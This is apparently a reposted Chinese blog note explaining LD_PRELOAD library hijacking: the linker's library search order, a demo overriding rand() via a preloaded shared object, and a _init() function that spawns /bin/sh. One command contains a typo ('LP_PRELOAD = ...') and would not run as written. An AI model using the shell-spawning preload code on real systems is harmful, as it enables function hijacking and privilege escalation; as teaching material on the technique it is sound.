标签:path const href share link and mic bash print
$LD_PRELOAD是一个环境变量,用于加载动态库,他的优先级是最高的
/*
    优先级顺序:
    (1)$LD_PRELOAD
    (2)$LD_LIBRARY_PATH
    (3)/etc/ld.so.cache
    (4)/lib
    (5)/usr/lib
*/
一个挑战就是,这玩意可以产生一个shell,就像下面这样:
$ LP_PRELOAD = ./payload.so /bin/true
假设存在一段这样的代码,其编译过程
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main(int argc, char const *argv[]){
    srand(time(NULL));
    printf("%d\n", rand());
}
gcc random.c -o random
./random

好的我们来覆写一下这个函数
int rand(void){
    return 32;
}
gcc -shared -fpic shlib.c -o shlib.so
LD_PRELOAD=./shlib.so ./random

#include <unistd.h>
void _init(){
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}

Hijacking Library Functions and Injecting Code Using the Dynamic Linker
标签:path const href share link and mic bash print
原文地址:https://www.cnblogs.com/KevinGeorge/p/12910846.html